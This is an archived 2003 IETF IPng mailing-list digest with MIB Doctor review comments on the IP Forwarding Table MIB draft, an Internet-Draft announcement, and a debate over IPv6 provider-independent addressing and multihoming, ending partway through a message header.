{ active(1) } for the status column, or alternatively to
rename the existing compliance to inetCidrFullCompliance
and add an inetCidrReadOnlyCompliance that has the same
effect.  In either case the DESCRIPTION clauses of the
InetAddressType index index objects need to make clear
that an implementation need only allow values appropriate
to the protocols it supports.


Issue #3:  Gratuitous/Erroneous MIB changes not consistent with text
---------  ---------------------------------------------------------

Synopsis:  the object inetCidrRouteDiscards should be removed since
ipRoutingDiscards (which dates back to MIB-II) already exists in
the IP-MIB and does the same job.  An object inetCidrRouteNumber,
analogous to ipCidrRouteNumber, should be added (or reinstated).
The text in Section 8 describing inetCidrRouteNumber should stay;
the text in Section 8 describing inetCidrRouteDiscards should be
removed (or, possibly, replaced with a mention of ipRouteDiscards).

Discussion:  the following object from the IP-MIB (RFC 2011) and
MIB-II (RFC 1213)

  ipRoutingDiscards OBJECT-TYPE
      SYNTAX      Counter32
      MAX-ACCESS  read-only
      STATUS      current
      DESCRIPTION
              "The number of routing entries which were chosen to be
              discarded even though they are valid.  One possible reason
              for discarding such an entry could be to free-up buffer
              space for other routing entries."
      ::= { ip 23 }

provides _exactly_ the same functionality as the following object that
(according to the change log) was added on 12 Jul 2001 to replace it:

  inetCidrRouteDiscards OBJECT-TYPE
      SYNTAX     Counter32
      MAX-ACCESS read-only
      STATUS     current
      DESCRIPTION
             "The number of routing entries which were chosen to be
              discarded even though they are valid.  One possible
              reason for discarding such an entry could be to free-up
              buffer space for other routing entries."
      ::= { ipForward 8 }

Defining a new object with semantics identical to an old one is clearly
an unnecessary change.  Therefore, inetCidrRouteDiscards should be
removed, and so should the following paragraph in Section 8:

          2. The object inetCidrRouteDiscards counts the number of valid
             routes that were discarded for any reason.

On the other hand, the following paragraph in Section 8

          1. The object inetCidrRouteNumber indicates the number of
             current routes.  This is primarily to avoid having to read
             the table in order to determine this number.

refers to an object that does not exist.  According to the change log,
it was removed on 02 Nov 2002.  Possibly this was an editing error
and inetCidrRouteDiscards was supposed to have been removed instead;
in any case, inetCidrRouteNumber should be added (or reinstated)
because it would be useful and there is no equivalent object elsewhere.
I would suggest registering it as { ipForward 7 } so that there are no
gaps in the OID assignments to trip up the next maintainer.

//cmh

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan 30 21:14:48 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0V5ElQb019816;
	Thu, 30 Jan 2003 21:14:47 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0V5ElOP019815;
	Thu, 30 Jan 2003 21:14:47 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0V5EiQb019808
	for <ipng@sunroof.eng.sun.com>; Thu, 30 Jan 2003 21:14:44 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0V5ErVK023798
	for <ipng@sunroof.eng.sun.com>; Thu, 30 Jan 2003 21:14:53 -0800 (PST)
Received: from shell4.bayarea.net (shell4.bayarea.net [209.128.82.1])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA12379
	for <ipng@sunroof.eng.sun.com>; Thu, 30 Jan 2003 22:14:47 -0700 (MST)
Received: from localhost (heard@localhost)
	by shell4.bayarea.net (8.9.3/8.9.3) with ESMTP id VAA11999;
	Thu, 30 Jan 2003 21:14:46 -0800
	(envelope-from heard@pobox.com)
X-Authentication-Warning: shell4.bayarea.net: heard owned process doing -bs
Date: Thu, 30 Jan 2003 21:14:46 -0800 (PST)
From: "C. M. Heard" <heard@pobox.com>
X-Sender: heard@shell4.bayarea.net
To: ipng@sunroof.eng.sun.com
Subject: Re: IPv6 w.g. Last Call on "IP Forwarding Table MIB" (2/2)
In-Reply-To: <5.1.0.14.2.20030116160908.03179010@mail.windriver.com>
Message-ID: <Pine.LNX.4.10.10301301937040.25870-100000@shell4.bayarea.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

These are some general documentation/MIB Doctor comments
on draft-ietf-ipv6-rfc2096-update-02.txt.  They may well
be incomplete, as I have not attempted to go through the
entire MIB review checklist.  Note that several substantive
technical comments were posted in a previous message and
are not duplicated here.

1.)  It should be noted in the abstract that the document
obsoletes RFC 2096.

2.)  Please use the current mib boilerplate and
references from http://www.ops.ietf.org/mib-boilerplate.html

3.)  Please update the security considerations section
per http://www.ops.ietf.org/mib-security.html

4.)  Please split normative/informative references.  I would
suggest the [RFC2119] style instead of the numbered style,
as it is easier both to read and to maintain.  When you do
this make sure that there is a normative reference for each
MIB module that you IMPORT from (this is often overlooked).

5.)  You have numbered a lot of sections that should not
be numbered.  See http://www.ietf.org/IESG/IDNITS.html
or http://www.ietf.org/ID-nits.html (they are the same).

6.)  When the document is published as an RFC, it should
have a change log section detailing what was changed since
RFC 2096 (it could point to the most recent REVISION clause
if the latter were a bit more detailed).  On the other hand,
the changes between I-D versions should not appear.

7.)  Please remove Unsigned32 from the IMPORTS list since
it is not used.

8.)  Please update the LAST-UPDATED and most recent REVISION
clauses to the current date.

9.)  Please use 4-digit year format in all older REVISION clauses,
and mention the RFC in which the revision appeared.  You should
probably add a REVISION clause corresponding to the RFC 1354
version (it introduced the now-obsolete ipForwardTable).

10.)  Please add a copyright notice to the MODULE-IDENTITY
DESCRIPTION clause, as mandated by
http://www.ietf.org/IESG/STATEMENTS/MIB-COPYRIGHT.txt,
and update _all) copyright dates to the current year
(the one on the front page still says 2001).

11.)  I notice that ranges have been added to ipForwardPolicy and
ipCidrRouteTos index variables to ensure that they are non-negative.
That's not actually required by the SMI, and, strictly speaking,
it is not a legal revision.  It is probably acceptable since it
cannot possibly change anything on the wire, but another solution
would be to leave these as-is and turn off the the strict checking
in your SMICng include file (#removeOpt "B").

12.)  Please do not use numbered references in the body of the
MIB module (such as the ones in the DESCRIPTION clauses of
inetCidrRouteDestType, inetCidrRouteDscp, and inetCidrRouteNextHopType).
These turn into "dangling pointers" when the MIB module is extracted
from the RFC (as it always will be when it is used).

13.)  The row object inetCidrRouteEntry admits dynamic creation of
instances but contains neither a StorageType column nor a statement
in its DESCRIPTION clause as to the fate of rows created by management
applications upon an agent re-initialization.  You must provide one or
the other;   in this case a statement in the DESCRIPTION clause that
dynamically created rows survive an agent reboot is probably what you
want.

14.)  The DESCRIPTION clause for the status column inetCidrRouteStatus
does not say whether or not read-create rows can be modified when the
status value is active(1).  This is required by RFC 2579 (see the
DESCRIPTION clause of the RowStatus TC).  If the rules vary from one
column to another, you should specify in each read-create column's
DESCRIPTION clause whether or not it can be modified when the status
is active(1), and the inetCidrRouteStatus DESCRIPTION clause should
say that each read-create column's DESCRIPTION clause states whether
or not that column may be modified while the status is active(1).

//cmh

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 04:55:38 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VCtbQb020876;
	Fri, 31 Jan 2003 04:55:37 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VCtbIA020875;
	Fri, 31 Jan 2003 04:55:37 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VCtXQb020868
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 04:55:33 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VCtfVK005789
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 04:55:41 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA01907
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 05:55:35 -0700 (MST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA05123;
	Fri, 31 Jan 2003 07:52:01 -0500 (EST)
Message-Id: <200301311252.HAA05123@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: ipng@sunroof.eng.sun.com
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-ipv6-unicast-aggr-v2-00.txt
Date: Fri, 31 Jan 2003 07:52:01 -0500
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the IP Version 6 Working Group Working Group of the IETF.

	Title		: IPv6 Global Unicast Address Format for the 2000::/3 
                          Prefix
	Author(s)	: R. Hinden, S. Deering
	Filename	: draft-ietf-ipv6-unicast-aggr-v2-00.txt
	Pages		: 4
	Date		: 2003-1-30
	
This document defines the unicast address format for the 2000::/3
(001 binary) prefix.  The address format defined in this document is
consistent with RFC1883 'Internet Protocol, Version 6 (IPv6)
Specification' and RFCXXXX 'IP Version 6 Addressing Architecture'.
This documented replaces RFC2374 'An IPv6 Aggregatable Global Unicast
Address Format'.  RFC2374 will become historic.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-ipv6-unicast-aggr-v2-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-ipv6-unicast-aggr-v2-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-ipv6-unicast-aggr-v2-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-1-30142651.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-ipv6-unicast-aggr-v2-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-ipv6-unicast-aggr-v2-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-1-30142651.I-D@ietf.org>

--OtherAccess--

--NextPart--


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 05:38:45 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VDciQb021090;
	Fri, 31 Jan 2003 05:38:44 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VDciH9021089;
	Fri, 31 Jan 2003 05:38:44 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VDceQb021082
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 05:38:41 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VDcnVL016725
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 05:38:49 -0800 (PST)
Received: from d06lmsgate-4.uk.ibm.COM (d06lmsgate-4.uk.ibm.com [195.212.29.4])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA29725
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 05:38:43 -0800 (PST)
Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22])
	by d06lmsgate-4.uk.ibm.COM (1.0.0) with ESMTP id NAA170180;
	Fri, 31 Jan 2003 13:17:34 GMT
Received: from etzel.zurich.ibm.com (etzel.zurich.ibm.com [9.4.64.140])
	by d12relay01.de.ibm.com (8.12.3/NCO/VER6.4) with SMTP id h0VDcESE232434;
	Fri, 31 Jan 2003 14:38:15 +0100
Received: from dhcp23-27.zurich.ibm.com by etzel.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03)
          id AA20700 from <brian@hursley.ibm.com>; Fri, 31 Jan 2003 14:38:12 +0100
Message-Id: <3E3A7C16.FC548303@hursley.ibm.com>
Date: Fri, 31 Jan 2003 14:37:26 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,fr,de
Mime-Version: 1.0
To: "C. M. Heard" <heard@pobox.com>
Cc: ipng@sunroof.eng.sun.com
Subject: Issue #1 [Re: IPv6 w.g. Last Call on "IP Forwarding Table MIB" (1/2)]
References: <Pine.LNX.4.10.10301300806190.13443-100000@shell4.bayarea.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

"C. M. Heard" wrote:
...
> Synopsis:  I question the appropriateness of using the DSCP field
> to represent routing policy, and I recommend replacing the
> inetCidrRouteDscp object with a more generic inetCidrRoutePolicy
> object. 

Personally, I agree. This possible usage of the DSCP is too
speculative to bless it in a MIB.

Writing as diffserv co-chair, your blind copy to the diffserv list 
was filtered as possible spam, but I have released from limbo so
we should see if there is any reaction from that community.

   Brian
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 05:50:06 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VDo5Qb021257;
	Fri, 31 Jan 2003 05:50:05 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VDo5g1021256;
	Fri, 31 Jan 2003 05:50:05 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VDo1Qb021249
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 05:50:02 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VDoAVK013059
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 05:50:10 -0800 (PST)
Received: from raven.ecs.soton.ac.uk (raven.ecs.soton.ac.uk [152.78.70.1])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA19885
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:50:03 -0700 (MST)
Received: from roadrunner.ecs.soton.ac.uk (roadrunner.ecs.soton.ac.uk [152.78.68.161])
	by raven.ecs.soton.ac.uk (8.9.3/8.9.3) with ESMTP id NAA15539;
	Fri, 31 Jan 2003 13:49:58 GMT
Received: from login.ecs.soton.ac.uk (login.ecs.soton.ac.uk [152.78.68.162])
	by roadrunner.ecs.soton.ac.uk (8.12.3/8.12.3) with ESMTP id h0VDnuAU019378;
	Fri, 31 Jan 2003 13:49:56 GMT
Received: (from tjc@localhost)
	by login.ecs.soton.ac.uk (8.11.6/8.11.6) id h0VDnuw13004;
	Fri, 31 Jan 2003 13:49:56 GMT
Date: Fri, 31 Jan 2003 13:49:56 +0000
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: Brian E Carpenter <brian@hursley.ibm.com>
Cc: "C. M. Heard" <heard@pobox.com>, ipng@sunroof.eng.sun.com
Subject: Re: Issue #1 [Re: IPv6 w.g. Last Call on "IP Forwarding Table MIB" (1/2)]
Message-ID: <20030131134956.GK12232@login.ecs.soton.ac.uk>
Mail-Followup-To: Brian E Carpenter <brian@hursley.ibm.com>,
	"C. M. Heard" <heard@pobox.com>, ipng@sunroof.eng.sun.com
References: <Pine.LNX.4.10.10301300806190.13443-100000@shell4.bayarea.net> <3E3A7C16.FC548303@hursley.ibm.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3E3A7C16.FC548303@hursley.ibm.com>
User-Agent: Mutt/1.4i
X-ECS-MailScanner: Found to be clean
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Fri, Jan 31, 2003 at 02:37:26PM +0100, Brian E Carpenter wrote:
> "C. M. Heard" wrote:
> ...
> > Synopsis:  I question the appropriateness of using the DSCP field
> > to represent routing policy, and I recommend replacing the
> > inetCidrRouteDscp object with a more generic inetCidrRoutePolicy
> > object. 
> 
> Personally, I agree. This possible usage of the DSCP is too
> speculative to bless it in a MIB.

Also agree.

Tim
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 06:05:33 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VE5WQb021438;
	Fri, 31 Jan 2003 06:05:32 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VE5WDI021437;
	Fri, 31 Jan 2003 06:05:32 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VE5RQb021430
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:05:28 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VE5aVK015496
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:05:36 -0800 (PST)
Received: from agitator.ibr.cs.tu-bs.de (agitator.ibr.cs.tu-bs.de [134.169.34.18])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA25161
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 07:05:28 -0700 (MST)
Received: from hansa.ibr.cs.tu-bs.de (hansa.ibr.cs.tu-bs.de [134.169.34.81])
	by agitator.ibr.cs.tu-bs.de (8.12.6/8.12.6/Debian-6Woody) with ESMTP id h0VE4kxv006043
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL);
	Fri, 31 Jan 2003 15:04:46 +0100
Received: from hansa.ibr.cs.tu-bs.de (schoenw@localhost [127.0.0.1])
	by hansa.ibr.cs.tu-bs.de (8.12.3/8.12.3/Debian -4) with ESMTP id h0VE4kAa002723
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL);
	Fri, 31 Jan 2003 15:04:46 +0100
Received: (from schoenw@localhost)
	by hansa.ibr.cs.tu-bs.de (8.12.3/8.12.3/Debian -4) id h0VE4kE4002720;
	Fri, 31 Jan 2003 15:04:46 +0100
Date: Fri, 31 Jan 2003 15:04:46 +0100
Message-Id: <200301311404.h0VE4kE4002720@hansa.ibr.cs.tu-bs.de>
From: Juergen Schoenwaelder <schoenw@ibr.cs.tu-bs.de>
To: heard@pobox.com
CC: ipng@sunroof.eng.sun.com
In-reply-to: <Pine.LNX.4.10.10301300806190.13443-100000@shell4.bayarea.net>
	(heard@pobox.com)
Subject: Re: IPv6 w.g. Last Call on "IP Forwarding Table MIB" (1/2)
References:  <Pine.LNX.4.10.10301300806190.13443-100000@shell4.bayarea.net>
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


>>>>> C M Heard writes:

[...]

Mike> 1.)  Appropriateness of using DSCP (differentiated services code
Mike> point) as a forwarding table index.

I raised my voice several times that the indexing is not flexible
enough to represent existing frowarding data structures but I got
strong push back since we only do "minimal changes" - even if boxes
have to cheat in order to implement this MIB...

/js

-- 
Juergen Schoenwaelder    <http://www.informatik.uni-osnabrueck.de/schoenw/>
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 06:09:14 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VE9DQb021456;
	Fri, 31 Jan 2003 06:09:13 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VE9DNZ021455;
	Fri, 31 Jan 2003 06:09:13 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VE98Qb021448
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:09:09 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VE9HVL021232
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:09:17 -0800 (PST)
Received: from dhcp-168-17-67.autonomica.se (dhcp1.kurtis.pp.se [195.43.225.70] (may be forged))
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA15726;
	Fri, 31 Jan 2003 06:09:11 -0800 (PST)
Received: from kurtis.pp.se (localhost [127.0.0.1])
	by dhcp-168-17-67.autonomica.se (8.12.2/8.10.2) with ESMTP id h0VEA9hE021752;
	Fri, 31 Jan 2003 15:10:09 +0100 (CET)
Date: Fri, 31 Jan 2003 11:00:15 +0100
Subject: Re: Enforcing unreachability of site local addresses 
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v551)
Cc: "Margaret Wasserman" <mrw@windriver.com>,
   "Erik Nordmark" <Erik.Nordmark@Sun.COM>, <ipng@sunroof.eng.sun.com>
To: "Michel Py" <michel@arneill-py.sacramento.ca.us>
From: Kurt Erik Lindqvist <kurtis@kurtis.pp.se>
In-Reply-To: <963621801C6D3E4A9CF454A1972AE8F54B6A@server2000.arneill-py.sacramento.ca.us>
Message-Id: <CBAE76C7-3502-11D7-A9E5-000393AB1404@kurtis.pp.se>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.551)
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

>> Choices seem to be:
>> (A) Continue with PA addressing, and accept that enterprises
>>     will use IPv6 NAT to get provider-independence.
>> (B) Allocate PI addresses, and trust that we can determine a
>>     scalable PI routing scheme before we hit route scaling
>>     issues in the IPv6 backbone.
>> So, I would make an informed decision to pursue choice (B),
>> in full knowledge that it might create a route scaling issue
>> further down the road.
>
> I will point out that you will never be able to clean out PI addresses
> after they have been allocated. Furthermore, giving PI addresses will
> inevitably trigger a land rush as they will always be more convenient
> that any ID/LOC scheme we might come up with; anyone will want one.
> Contrary to IPv4 size will not matter for most. If we go the (B) road
> we'll end up with a large number of /48s in the global routing table,
> which is definitely *NOT* what the design of IPv6 is.

Well, let's look at this from another perspective. We today only have 
one option for inter-domain routing. To use BGP. That might change in 
the future, but even if we in San Fransisco would agree on a new 
routing model, it would still take us at least 3-5 years to implement. 
See the migration to BGP4 as example.

Let us instead do some numbers,

today we have around 20k allocated ASes of which around 15k is visible. 
If we assume that all of these where allocated a IPv6 PI block and they 
all had three upstreams for multihoming, we would end up with 45k 
routes - which is nothing (I was running a 2514 with 16Mbps of memory 
and 30k routes as my first BGP router. Works just fine). If the current 
worst case scenario comes true we will have 64k routes x three 
upstreams which would give us 192k routes, still not bad. If we 
extended the AS space four times, the number of routes is still doable.

What we need to watch our for is a growth of several orders of 
magnitude. But this also comes with a monetary cost on the end-users, 
which most likely will dampen the growth.

I say go for /48 PI space. Take a /16 (or something suitable) and 
divide it per RIR, and use it as PI space.

I am still more worried about the lack of IPv6 routes, than the growth 
of IPv6 routes....we are ten years down and have ~350 routes...

>> So, I would make an informed decision to pursue choice (B)
>
> This is not the time for a post-mortem choice yet. We still have some
> time. Not much, but some.
>
> The current course of action of the IETF is:
> (C) Put my head in the sand and pretend that the problem is not urgent.
>
> I would like to see a more positive attitude here. The battle is not
> lost yet and there are things that can be done before we relunctantly 
> go
> the (B) way. If we go the (B) way now, there is no more way back than
> there is with NAT.
>
> ==> (C) Finally do something about IPv6 multihoming.
>

I would rather see (C) Come up with a new "routing" paradigm.

- kurtis -

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 06:09:56 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VE9sQb021466;
	Fri, 31 Jan 2003 06:09:54 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VE9s3J021465;
	Fri, 31 Jan 2003 06:09:54 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VE9oQb021458
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:09:51 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VE9xVL021297
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:09:59 -0800 (PST)
Received: from dhcp-168-17-67.autonomica.se (dhcp1.kurtis.pp.se [195.43.225.70] (may be forged))
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA02975
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 06:09:53 -0800 (PST)
Received: from kurtis.pp.se (localhost [127.0.0.1])
	by dhcp-168-17-67.autonomica.se (8.12.2/8.10.2) with ESMTP id h0VEAjhE021759;
	Fri, 31 Jan 2003 15:10:46 +0100 (CET)
Date: Fri, 31 Jan 2003 11:03:22 +0100
Subject: Re: Enforcing unreachability of site local addresses
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v551)
